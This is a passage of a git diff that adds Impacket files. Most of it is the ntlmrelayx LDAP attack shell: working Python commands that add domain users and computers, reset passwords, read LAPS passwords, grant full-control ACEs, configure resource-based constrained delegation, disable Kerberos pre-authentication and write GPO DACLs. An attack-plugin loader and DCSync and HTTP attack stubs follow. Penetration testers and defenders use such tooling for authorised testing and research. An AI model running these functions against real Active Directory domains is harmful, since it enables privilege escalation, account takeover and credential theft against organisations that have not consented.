+        cmd.Cmd.__init__(self, stdin=tcp_shell.stdin, stdout=tcp_shell.stdout)
+
+        if PY2:
+            # switch to unicode.
+            reload(sys) # noqa: F821 pylint:disable=undefined-variable
+            sys.setdefaultencoding('utf8')
+
+        sys.stdout = tcp_shell.stdout
+        sys.stdin = tcp_shell.stdin
+        sys.stderr = tcp_shell.stdout
+        self.use_rawinput = False
+        self.shell = tcp_shell
+
+        self.prompt = '\n# '
+        self.tid = None
+        self.intro = 'Type help for list of commands'
+        self.loggedIn = True
+        self.last_output = None
+        self.completion = []
+        self.client = client
+        self.domain_dumper = domain_dumper
+
+    def emptyline(self):
+        pass
+
+    def onecmd(self, s):
+        ret_val = False
+        try:
+            ret_val = cmd.Cmd.onecmd(self, s)
+        except Exception as e:
+            print(e)
+            LOG.error(e)
+            LOG.debug('Exception info', exc_info=True)
+
+        return ret_val
+
+    def create_empty_sd(self):
+        sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
+        sd['Revision'] = b'\x01'
+        sd['Sbz1'] = b'\x00'
+        sd['Control'] = 32772
+        sd['OwnerSid'] = ldaptypes.LDAP_SID()
+        # BUILTIN\Administrators
+        sd['OwnerSid'].fromCanonical('S-1-5-32-544')
+        sd['GroupSid'] = b''
+        sd['Sacl'] = b''
+        acl = ldaptypes.ACL()
+        acl['AclRevision'] = 4
+        acl['Sbz1'] = 0
+        acl['Sbz2'] = 0
+        acl.aces = []
+        sd['Dacl'] = acl
+        return sd
+
+    def create_allow_ace(self, sid):
+        nace = ldaptypes.ACE()
+        nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
+        nace['AceFlags'] = 0x00
+        acedata = ldaptypes.ACCESS_ALLOWED_ACE()
+        acedata['Mask'] = ldaptypes.ACCESS_MASK()
+        acedata['Mask']['Mask'] = 983551 # Full control
+        acedata['Sid'] = ldaptypes.LDAP_SID()
+        acedata['Sid'].fromCanonical(sid)
+        nace['Ace'] = acedata
+        return nace
+
+    def do_write_gpo_dacl(self, line):
+        args = shlex.split(line)
+        print ("Adding %s to GPO with GUID %s" % (args[0], args[1]))
+        if len(args) != 2:
+            raise Exception("A samaccountname and GPO sid are required.")
+
+        tgtUser = args[0]
+        gposid = args[1]
+        self.client.search(self.domain_dumper.root, '(&(objectclass=person)(sAMAccountName=%s))' % tgtUser, attributes=['objectSid'])
+        if len( self.client.entries) <= 0:
+            raise Exception("Didnt find the given user")
+
+        user = self.client.entries[0]
+
+        controls = security_descriptor_control(sdflags=0x04)
+        self.client.search(self.domain_dumper.root, '(&(objectclass=groupPolicyContainer)(name=%s))' % gposid, attributes=['objectSid','nTSecurityDescriptor'], controls=controls)
+
+        if len( self.client.entries) <= 0:
+            raise Exception("Didnt find the given gpo")
+        gpo = self.client.entries[0]
+
+        secDescData = gpo['nTSecurityDescriptor'].raw_values[0]
+        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
+        newace = self.create_allow_ace(str(user['objectSid']))
+        secDesc['Dacl']['Data'].append(newace)
+        data = secDesc.getData()
+
+        self.client.modify(gpo.entry_dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
+        if self.client.result["result"] == 0:
+            print('LDAP server claims to have taken the secdescriptor. Have fun')
+        else:
+            raise Exception("Something wasnt right: %s" %str(self.client.result['description']))
+
+    def do_add_computer(self, line):
+        args = shlex.split(line)
+
+        if not self.client.server.ssl and not self.client.tls_started:
+            print("Error adding a new computer with LDAP requires LDAPS.")
+
+        if len(args) != 1 and len(args) != 2 and len(args) !=3:
+            raise Exception("Error expected a computer name, an optional password argument, and an optional nospns argument.")
+
+        computer_name = args[0]
+        if not computer_name.endswith('$'):
+            computer_name += '$'
+
+        print("Attempting to add a new computer with the name: %s" % computer_name)
+
+        password = ""
+        if len(args) == 1 or args[1] == "nospns":
+            password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))
+        else:
+            password = args[1]
+
+        domain_dn = self.domain_dumper.root
+        domain = re.sub(',DC=', '.', domain_dn[domain_dn.find('DC='):], flags=re.I)[3:]
+
+        print("Inferred Domain DN: %s" % domain_dn)
+        print("Inferred Domain Name: %s" % domain)
+
+        computer_hostname = computer_name[:-1] # Remove $ sign
+        computer_dn = "CN=%s,CN=Computers,%s" % (computer_hostname, self.domain_dumper.root)
+        print("New Computer DN: %s" % computer_dn)
+        
+        if len(args) == 3:
+            if args[2] == "nospns":
+                spns = [
+                    'HOST/%s.%s' % (computer_hostname, domain)
+                ]
+            else:
+                raise Exception("Invalid third argument: %s" %str(args[3]))     
+        elif len(args) == 2:
+            if args[1] != "nospns":
+                spns = [
+                    'HOST/%s' % computer_hostname,
+                    'HOST/%s.%s' % (computer_hostname, domain),
+                    'RestrictedKrbHost/%s' % computer_hostname,
+                    'RestrictedKrbHost/%s.%s' % (computer_hostname, domain),
+                ]
+            elif args[1] == "nospns":
+                spns = [
+                    'HOST/%s.%s' % (computer_hostname, domain)
+                ]
+        elif len(args) == 1:
+            spns = [
+                'HOST/%s' % computer_hostname,
+                'HOST/%s.%s' % (computer_hostname, domain),
+                'RestrictedKrbHost/%s' % computer_hostname,
+                'RestrictedKrbHost/%s.%s' % (computer_hostname, domain),
+            ]
+        else:
+            raise Exception("Invalid third argument: %s" %str(self.args[3])) 
+        ucd = {
+            'dnsHostName': '%s.%s' % (computer_hostname, domain),
+            'userAccountControl': 4096,
+            'servicePrincipalName': spns,
+            'sAMAccountName': computer_name,
+            'unicodePwd': '"{}"'.format(password).encode('utf-16-le')
+        }
+
+        res = self.client.add(computer_dn, ['top','person','organizationalPerson','user','computer'], ucd)
+
+        if not res:
+            if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM: 
+                print("Failed to add a new computer. The server denied the operation.")
+            else:
+                print('Failed to add a new computer: %s' % str(self.client.result))
+        else:
+            print('Adding new computer with username: %s and password: %s result: OK' % (computer_name, password))
+
+    def do_rename_computer(self, line):
+        args = shlex.split(line)
+
+        if len(args) != 2:
+            raise Exception("Current Computer sAMAccountName and New Computer sAMAccountName required (rename_computer comp1$ comp2$).")
+
+        current_name = args[0]
+
+        new_name = args[1]
+
+        self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(current_name), attributes=['objectSid', 'sAMAccountName'])
+        computer_dn = self.client.entries[0].entry_dn
+        
+        if not computer_dn:
+            raise Exception("Computer not found in LDAP: %s" % current_name)
+
+        entry = self.client.entries[0]
+        samAccountName = entry["samAccountName"].value
+        print("Original sAMAccountName: %s" % samAccountName)
+
+        print("New sAMAccountName: %s" % new_name)
+        self.client.modify(computer_dn, {'sAMAccountName':(ldap3.MODIFY_REPLACE, [new_name])})
+        
+        if self.client.result["result"] == 0:
+            print("Updated sAMAccountName successfully")
+        else:
+            if self.client.result['result'] == 50:
+                raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
+            elif self.client.result['result'] == 19:
+                raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
+            else:
+                raise Exception('The server returned an error: %s', self.client.result['message'])
+
+    def do_add_user(self, line):
+        args = shlex.split(line)
+
+        if not self.client.server.ssl and not self.client.tls_started:
+            print("Error adding a new user with LDAP requires LDAPS.")
+
+        if len(args) == 0:
+            raise Exception("A username is required.")
+
+        new_user = args[0]
+        if len(args) == 1:
+            parent_dn = 'CN=Users,%s' % self.domain_dumper.root
+        else:
+            parent_dn = args[1]
+
+        new_password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))
+
+        new_user_dn = 'CN=%s,%s' % (new_user, parent_dn)
+        ucd = {
+            'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % self.domain_dumper.root,
+            'distinguishedName': new_user_dn,
+            'cn': new_user,
+            'sn': new_user,
+            'givenName': new_user,
+            'displayName': new_user,
+            'name': new_user,
+            'userAccountControl': 512,
+            'accountExpires': '0',
+            'sAMAccountName': new_user,
+            'unicodePwd': '"{}"'.format(new_password).encode('utf-16-le')
+        }
+
+        print('Attempting to create user in: %s', parent_dn)
+        res = self.client.add(new_user_dn, ['top', 'person', 'organizationalPerson', 'user'], ucd)
+        if not res:
+            if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
+                raise Exception('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.')
+            else:
+                raise Exception('Failed to add a new user: %s' % str(self.client.result['description']))
+        else:
+            print('Adding new user with username: %s and password: %s result: OK' % (new_user, new_password))
+
+    def do_add_user_to_group(self, line):
+        user_name, group_name = shlex.split(line)
+
+        user_dn = self.get_dn(user_name)
+        if not user_dn:
+            raise Exception("User not found in LDAP: %s" % user_name)
+
+        group_dn = self.get_dn(group_name)
+        if not group_dn:
+            raise Exception("Group not found in LDAP: %s" % group_name)
+
+        user_name = user_dn.split(',')[0][3:]
+        group_name = group_dn.split(',')[0][3:]
+
+        res = self.client.modify(group_dn, {'member': [(ldap3.MODIFY_ADD, [user_dn])]})
+        if res:
+            print('Adding user: %s to group %s result: OK' % (user_name, group_name))
+        else:
+            raise Exception('Failed to add user to %s group: %s' % (group_name, str(self.client.result['description'])))
+
+    def do_change_password(self, line):
+        args = shlex.split(line)
+
+        if len(args) != 1 and len(args) != 2:
+            raise Exception("Error expected a username and an optional password argument. Instead %d arguments were provided" % len(args))
+
+        user_dn = self.get_dn(args[0])
+        print("Got User DN: " + user_dn)
+
+        password = ""
+        if len(args) == 1:
+            password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))
+        else:
+            password = args[1]
+
+        print("Attempting to set new password of: %s" % password)
+        success = self.client.extend.microsoft.modify_password(user_dn, password)
+
+        if self.client.result['result'] == 0:
+            print('Password changed successfully!')
+        else:
+            if self.client.result['result'] == 50:
+                raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
+            elif self.client.result['result'] == 19:
+                raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
+            else:
+                raise Exception('The server returned an error: %s', self.client.result['message'])
+
+    def do_clear_rbcd(self, computer_name):
+
+        success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(computer_name), attributes=['objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
+        if success is False or len(self.client.entries) != 1:
+            raise Exception("Error expected only one search result got %d results", len(self.client.entries))
+
+        target = self.client.entries[0]
+        target_sid = target["objectsid"].value
+        print("Found Target DN: %s" % target.entry_dn)
+        print("Target SID: %s\n" % target_sid)
+
+        sd = self.create_empty_sd()
+
+        self.client.modify(target.entry_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
+        if self.client.result['result'] == 0:
+            print('Delegation rights cleared successfully!')
+        else:
+            if self.client.result['result'] == 50:
+                raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
+            elif self.client.result['result'] == 19:
+                raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
+            else:
+                raise Exception('The server returned an error: %s', self.client.result['message'])
+
+    def do_dump(self, line):
+        print('Dumping domain info...')
+        self.stdout.flush()
+        self.domain_dumper.domainDump()
+        print('Domain info dumped into lootdir!')
+
+    def do_start_tls(self, line):
+        if not self.client.tls_started and not self.client.server.ssl:
+            print('Sending StartTLS command...')
+            if not self.client.start_tls():
+                raise Exception("StartTLS failed")
+            else:
+                print('StartTLS succeded, you are now using LDAPS!')
+        else:
+            print('It seems you are already connected through a TLS channel.')
+
+    def do_disable_account(self, username):
+        self.toggle_account_enable_disable(username, False)
+
+    def do_enable_account(self, username):
+        self.toggle_account_enable_disable(username, True)
+
+    def toggle_account_enable_disable(self, user_name, enable):
+        UF_ACCOUNT_DISABLE = 2
+        self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(user_name), attributes=['objectSid', 'userAccountControl'])
+
+        if len(self.client.entries) != 1:
+            raise Exception("Error expected only one search result got %d results", len(self.client.entries))
+
+        user_dn = self.client.entries[0].entry_dn
+        if not user_dn:
+            raise Exception("User not found in LDAP: %s" % user_name)
+
+        entry = self.client.entries[0]
+        userAccountControl = entry["userAccountControl"].value
+
+        print("Original userAccountControl: %d" % userAccountControl) 
+
+        if enable:
+            userAccountControl = userAccountControl & ~UF_ACCOUNT_DISABLE
+        else:
+            userAccountControl = userAccountControl | UF_ACCOUNT_DISABLE
+
+        self.client.modify(user_dn, {'userAccountControl':(ldap3.MODIFY_REPLACE, [userAccountControl])})
+
+        if self.client.result['result'] == 0:
+            print("Updated userAccountControl attribute successfully")
+        else:
+            if self.client.result['result'] == 50:
+                raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
+            elif self.client.result['result'] == 19:
+                raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
+            else:
+                raise Exception('The server returned an error: %s', self.client.result['message'])
+
+    def do_search(self, line):
+        arguments = shlex.split(line)
+        if len(arguments) == 0:
+            raise Exception("A query is required.")
+
+        filter_attributes = ['name', 'distinguishedName', 'sAMAccountName']
+        attributes = filter_attributes[:]
+        attributes.append('objectSid')
+        for argument in arguments[1:]:
+            attributes.append(argument)
+
+        search_query = "".join("(%s=*%s*)" % (attribute, escape_filter_chars(arguments[0])) for attribute in filter_attributes)
+        self.search('(|%s)' % search_query, *attributes)
+
+    def do_set_dontreqpreauth(self, line):
+        UF_DONT_REQUIRE_PREAUTH = 4194304
+
+        args = shlex.split(line)
+        if len(args) != 2:
+            raise Exception("Username (SAMAccountName) and true/false flag required (e.g. jsmith true).")
+
+        user_name = args[0]
+        flag_str = args[1]
+        flag = False
+
+        if flag_str.lower() == "true":
+            flag = True
+        elif flag_str.lower() == "false":
+            flag = False
+        else:
+            raise Exception("The specified flag must be either true or false")
+
+        self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(user_name), attributes=['objectSid', 'userAccountControl'])
+        if len(self.client.entries) != 1:
+            raise Exception("Error expected only one search result got %d results", len(self.client.entries))
+
+        user_dn = self.client.entries[0].entry_dn
+        if not user_dn:
+            raise Exception("User not found in LDAP: %s" % user_name)
+
+        entry = self.client.entries[0]
+        userAccountControl = entry["userAccountControl"].value
+        print("Original userAccountControl: %d" % userAccountControl) 
+
+        if flag:
+            userAccountControl = userAccountControl | UF_DONT_REQUIRE_PREAUTH
+        else:
+            userAccountControl = userAccountControl & ~UF_DONT_REQUIRE_PREAUTH
+
+        print("Updated userAccountControl: %d" % userAccountControl) 
+        self.client.modify(user_dn, {'userAccountControl':(ldap3.MODIFY_REPLACE, [userAccountControl])})
+
+        if self.client.result['result'] == 0:
+            print("Updated userAccountControl attribute successfully")
+        else:
+            if self.client.result['result'] == 50:
+                raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
+            elif self.client.result['result'] == 19:
+                raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
+            else:
+                raise Exception('The server returned an error: %s', self.client.result['message'])
+
+    def do_get_user_groups(self, user_name):
+        user_dn = self.get_dn(user_name)
+        if not user_dn:
+            raise Exception("User not found in LDAP: %s" % user_name)
+
+        self.search('(member:%s:=%s)' % (LdapShell.LDAP_MATCHING_RULE_IN_CHAIN, escape_filter_chars(user_dn)))
+
+    def do_get_group_users(self, group_name):
+        group_dn = self.get_dn(group_name)
+        if not group_dn:
+            raise Exception("Group not found in LDAP: %s" % group_name)
+
+        self.search('(memberof:%s:=%s)' % (LdapShell.LDAP_MATCHING_RULE_IN_CHAIN, escape_filter_chars(group_dn)), "sAMAccountName", "name")
+
+    def do_get_laps_password(self, computer_name):
+
+        self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(computer_name), attributes=['ms-MCS-AdmPwd'])
+        if len(self.client.entries) != 1:
+            raise Exception("Error expected only one search result got %d results", len(self.client.entries))
+
+        computer = self.client.entries[0]
+        print("Found Computer DN: %s" % computer.entry_dn)
+
+        password = computer["ms-MCS-AdmPwd"].value
+
+        if password is not None:
+            print("LAPS Password: %s" % password)
+        else:
+            print("Unable to Read LAPS Password for Computer")
+
+    def do_grant_control(self, line):
+        args = shlex.split(line)
+
+        if len(args) != 1 and len(args) != 2:
+            raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args))
+
+        controls = security_descriptor_control(sdflags=0x04)
+
+        target_name = args[0]
+        grantee_name = args[1]
+
+        success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls)
+        if success is False or len(self.client.entries) != 1:
+            raise Exception("Error expected only one search result got %d results", len(self.client.entries))
+
+        target = self.client.entries[0]
+        target_sid = target["objectSid"].value
+        print("Found Target DN: %s" % target.entry_dn)
+        print("Target SID: %s\n" % target_sid)
+
+        success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid'])
+        if success is False or len(self.client.entries) != 1:
+            raise Exception("Error expected only one search result got %d results", len(self.client.entries))
+
+        grantee = self.client.entries[0]
+        grantee_sid = grantee["objectSid"].value
+        print("Found Grantee DN: %s" % grantee.entry_dn)
+        print("Grantee SID: %s" % grantee_sid)
+
+        try:
+            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['nTSecurityDescriptor'].raw_values[0])
+        except IndexError:
+            sd = self.create_empty_sd()
+
+        sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid))
+        self.client.modify(target.entry_dn, {'nTSecurityDescriptor':[ldap3.MODIFY_REPLACE, [sd.getData()]]}, controls=controls)
+
+        if self.client.result['result'] == 0:
+            print('DACL modified successfully!')
+            print('%s now has control of %s' % (grantee_name, target_name))
+        else:
+            if self.client.result['result'] == 50:
+                raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
+            elif self.client.result['result'] == 19:
+                raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
+            else:
+                raise Exception('The server returned an error: %s', self.client.result['message'])
+
+    def do_set_rbcd(self, line):
+        args = shlex.split(line)
+
+        if len(args) != 1 and len(args) != 2:
+            raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args))
+
+        target_name = args[0]
+        grantee_name = args[1]
+
+        target_sid = args[0]
+        grantee_sid = args[1]
+
+        success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
+        if success is False or len(self.client.entries) != 1:
+            raise Exception("Error expected only one search result got %d results", len(self.client.entries))
+
+        target = self.client.entries[0]
+        target_sid = target["objectSid"].value
+        print("Found Target DN: %s" % target.entry_dn)
+        print("Target SID: %s\n" % target_sid)
+
+        success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid'])
+        if success is False or len(self.client.entries) != 1:
+            raise Exception("Error expected only one search result got %d results", len(self.client.entries))
+
+        grantee = self.client.entries[0]
+        grantee_sid = grantee["objectSid"].value
+        print("Found Grantee DN: %s" % grantee.entry_dn)
+        print("Grantee SID: %s" % grantee_sid)
+
+        try:
+            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['msDS-AllowedToActOnBehalfOfOtherIdentity'].raw_values[0])
+            print('Currently allowed sids:')
+            for ace in sd['Dacl'].aces:
+                print('    %s' % ace['Ace']['Sid'].formatCanonical())
+
+                if ace['Ace']['Sid'].formatCanonical() == grantee_sid:
+                    print("Grantee is already permitted to perform delegation to the target host")
+                    return
+
+        except IndexError:
+            sd = self.create_empty_sd()
+
+        sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid))
+        self.client.modify(target.entry_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
+
+        if self.client.result['result'] == 0:
+            print('Delegation rights modified successfully!')
+            print('%s can now impersonate users on %s via S4U2Proxy' % (grantee_name, target_name))
+        else:
+            if self.client.result['result'] == 50:
+                raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
+            elif self.client.result['result'] == 19:
+                raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
+            else:
+                raise Exception('The server returned an error: %s', self.client.result['message'])
+
+    def search(self, query, *attributes):
+        self.client.search(self.domain_dumper.root, query, attributes=attributes)
+        for entry in self.client.entries:
+            print(entry.entry_dn)
+            for attribute in attributes:
+                value = entry[attribute].value
+                if value:
+                    print("%s: %s" % (attribute, entry[attribute].value))
+            if any(attributes):
+                print("---")
+
+    def get_dn(self, sam_name):
+        if "," in sam_name:
+            return sam_name
+
+        try:
+            self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(sam_name), attributes=['objectSid'])
+            return self.client.entries[0].entry_dn
+        except IndexError:
+            return None
+
+    def do_exit(self, line):
+        if self.shell is not None:
+            self.shell.close()
+        return True
+
+    def do_help(self, line):
+        print("""
+ add_computer computer [password] [nospns] - Adds a new computer to the domain with the specified password. If nospns is specified, computer will be created with only a single necessary HOST SPN. Requires LDAPS.
+ rename_computer current_name new_name - Sets the SAMAccountName attribute on a computer object to a new value.
+ add_user new_user [parent] - Creates a new user.
+ add_user_to_group user group - Adds a user to a group.
+ change_password user [password] - Attempt to change a given user's password. Requires LDAPS.
+ clear_rbcd target - Clear the resource based constrained delegation configuration information.
+ disable_account user - Disable the user's account.
+ enable_account user - Enable the user's account.
+ dump - Dumps the domain.
+ search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName.
+ get_user_groups user - Retrieves all groups this user is a member of.
+ get_group_users group - Retrieves all members of a group.
+ get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName).
+ grant_control target grantee - Grant full control of a given target object (sAMAccountName) to the grantee (sAMAccountName).
+ set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false.
+ set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName).
+ start_tls - Send a StartTLS command to upgrade from LDAP to LDAPS. Use this to bypass channel binding for operations necessitating an encrypted channel.
+ write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}.
+ exit - Terminates this session.""")
+
+    def do_EOF(self, line):
+        print('Bye!\n')
+        return True
diff --git a/impacket/examples/logger.py b/impacket/examples/logger.py
new file mode 100644
index 0000000..833e16a
--- /dev/null
+++ b/impacket/examples/logger.py
@@ -0,0 +1,62 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2019 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   This logger is intended to be used by impacket instead
+#   of printing directly. This will allow other libraries to use their
+#   custom logging implementation.
+#
+
+import logging
+import sys
+
+# This module can be used by scripts using the Impacket library 
+# in order to configure the root logger to output events 
+# generated by the library with a predefined format
+
+# If the scripts want to generate log entries, they can write
+# directly to the root logger (logging.info, debug, etc).
+
+class ImpacketFormatter(logging.Formatter):
+  '''
+  Prefixing logged messages through the custom attribute 'bullet'.
+  '''
+  def __init__(self):
+      logging.Formatter.__init__(self,'%(bullet)s %(message)s', None)
+
+  def format(self, record):
+    if record.levelno == logging.INFO:
+      record.bullet = '[*]'
+    elif record.levelno == logging.DEBUG:
+      record.bullet = '[+]'
+    elif record.levelno == logging.WARNING:
+      record.bullet = '[!]'
+    else:
+      record.bullet = '[-]'
+
+    return logging.Formatter.format(self, record)
+
+class ImpacketFormatterTimeStamp(ImpacketFormatter):
+  '''
+  Prefixing logged messages through the custom attribute 'bullet'.
+  '''
+  def __init__(self):
+      logging.Formatter.__init__(self,'[%(asctime)-15s] %(bullet)s %(message)s', None)
+
+  def formatTime(self, record, datefmt=None):
+      return ImpacketFormatter.formatTime(self, record, datefmt="%Y-%m-%d %H:%M:%S")
+
+def init(ts=False):
+    # We add a StreamHandler and formatter to the root logger
+    handler = logging.StreamHandler(sys.stdout)
+    if not ts:
+        handler.setFormatter(ImpacketFormatter())
+    else:
+        handler.setFormatter(ImpacketFormatterTimeStamp())
+    logging.getLogger().addHandler(handler)
+    logging.getLogger().setLevel(logging.INFO)
diff --git a/impacket/examples/ntlmrelayx/__init__.py b/impacket/examples/ntlmrelayx/__init__.py
new file mode 100644
index 0000000..b2b0c68
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/__init__.py
@@ -0,0 +1,9 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+pass
diff --git a/impacket/examples/ntlmrelayx/attacks/__init__.py b/impacket/examples/ntlmrelayx/attacks/__init__.py
new file mode 100644
index 0000000..3a0c25a
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/attacks/__init__.py
@@ -0,0 +1,77 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Protocol Attack Base Class definition
+#   Defines a base class for all attacks + loads all available modules
+#
+# Author:
+#  Alberto Solino (@agsolino)
+#  Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
+#
+import os, sys
+import pkg_resources
+from impacket import LOG
+from threading import Thread
+
+PROTOCOL_ATTACKS = {}
+
+# Base class for Protocol Attacks for different protocols (SMB, MSSQL, etc)
+# Besides using this base class you need to define one global variable when
+# writing a plugin for protocol clients:
+#     PROTOCOL_ATTACK_CLASS = "<name of the class for the plugin>"
+# or (to support multiple classes in one file)
+#     PROTOCOL_ATTACK_CLASSES = ["<name of the class for the plugin>", "<another class>"]
+# These classes must have the attribute PLUGIN_NAMES which is a list of protocol names
+# that will be matched later with the relay targets (e.g. SMB, LDAP, etc)
+class ProtocolAttack(Thread):
+    PLUGIN_NAMES = ['PROTOCOL']
+    def __init__(self, config, client, username):
+        Thread.__init__(self)
+        # Set threads as daemon
+        self.daemon = True
+        self.config = config
+        self.client = client
+        # By default we only use the username and remove the domain
+        self.username = username.split('/')[1]
+
+    def run(self):
+        raise RuntimeError('Virtual Function')
+
+for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'attacks'):
+    if file.find('__') >= 0 or file.endswith('.py') is False:
+        continue
+    # This seems to be None in some case (py3 only)
+    # __spec__ is py3 only though, but I haven't seen this being None on py2
+    # so it should cover all cases.
+    try:
+        package = __spec__.name  # Python 3
+    except NameError:
+        package = __package__    # Python 2
+    __import__(package + '.' + os.path.splitext(file)[0])
+    module = sys.modules[package + '.' + os.path.splitext(file)[0]]
+    try:
+        pluginClasses = set()
+        try:
+            if hasattr(module, 'PROTOCOL_ATTACK_CLASSES'):
+                # Multiple classes
+                for pluginClass in module.PROTOCOL_ATTACK_CLASSES:
+                    pluginClasses.add(getattr(module, pluginClass))
+            else:
+                # Single class
+                pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_ATTACK_CLASS')))
+        except Exception as e:
+            LOG.debug(e)
+            pass
+
+        for pluginClass in pluginClasses:
+            for pluginName in pluginClass.PLUGIN_NAMES:
+                LOG.debug('Protocol Attack %s loaded..' % pluginName)
+                PROTOCOL_ATTACKS[pluginName] = pluginClass
+    except Exception as e:
+        LOG.debug(str(e))
diff --git a/impacket/examples/ntlmrelayx/attacks/dcsyncattack.py b/impacket/examples/ntlmrelayx/attacks/dcsyncattack.py
new file mode 100644
index 0000000..2b08749
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/attacks/dcsyncattack.py
@@ -0,0 +1,31 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   HTTP Attack Class
+#   HTTP protocol relay attack
+#
+# Authors:
+#  Alberto Solino (@agsolino)
+#  Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
+#
+from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
+from impacket.examples.secretsdump import RemoteOperations, SAMHashes, NTDSHashes
+
+PROTOCOL_ATTACK_CLASS = "DCSYNCAttack"
+
+class DCSYNCAttack(ProtocolAttack):
+    """
+    This is the default HTTP attack. This attack only dumps the root page, though
+    you can add any complex attack below. self.client is an instance of urrlib.session
+    For easy advanced attacks, use the SOCKS option and use curl or a browser to simply
+    proxy through ntlmrelayx
+    """
+    PLUGIN_NAMES = ["DCSYNC"]
+    def run(self):
+        return
diff --git a/impacket/examples/ntlmrelayx/attacks/httpattack.py b/impacket/examples/ntlmrelayx/attacks/httpattack.py
new file mode 100644
index 0000000..725bdb9
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/attacks/httpattack.py
@@ -0,0 +1,45 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   HTTP Attack Class
+#   HTTP protocol relay attack
+#
+# Authors:
+#   Alberto Solino (@agsolino)
+#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
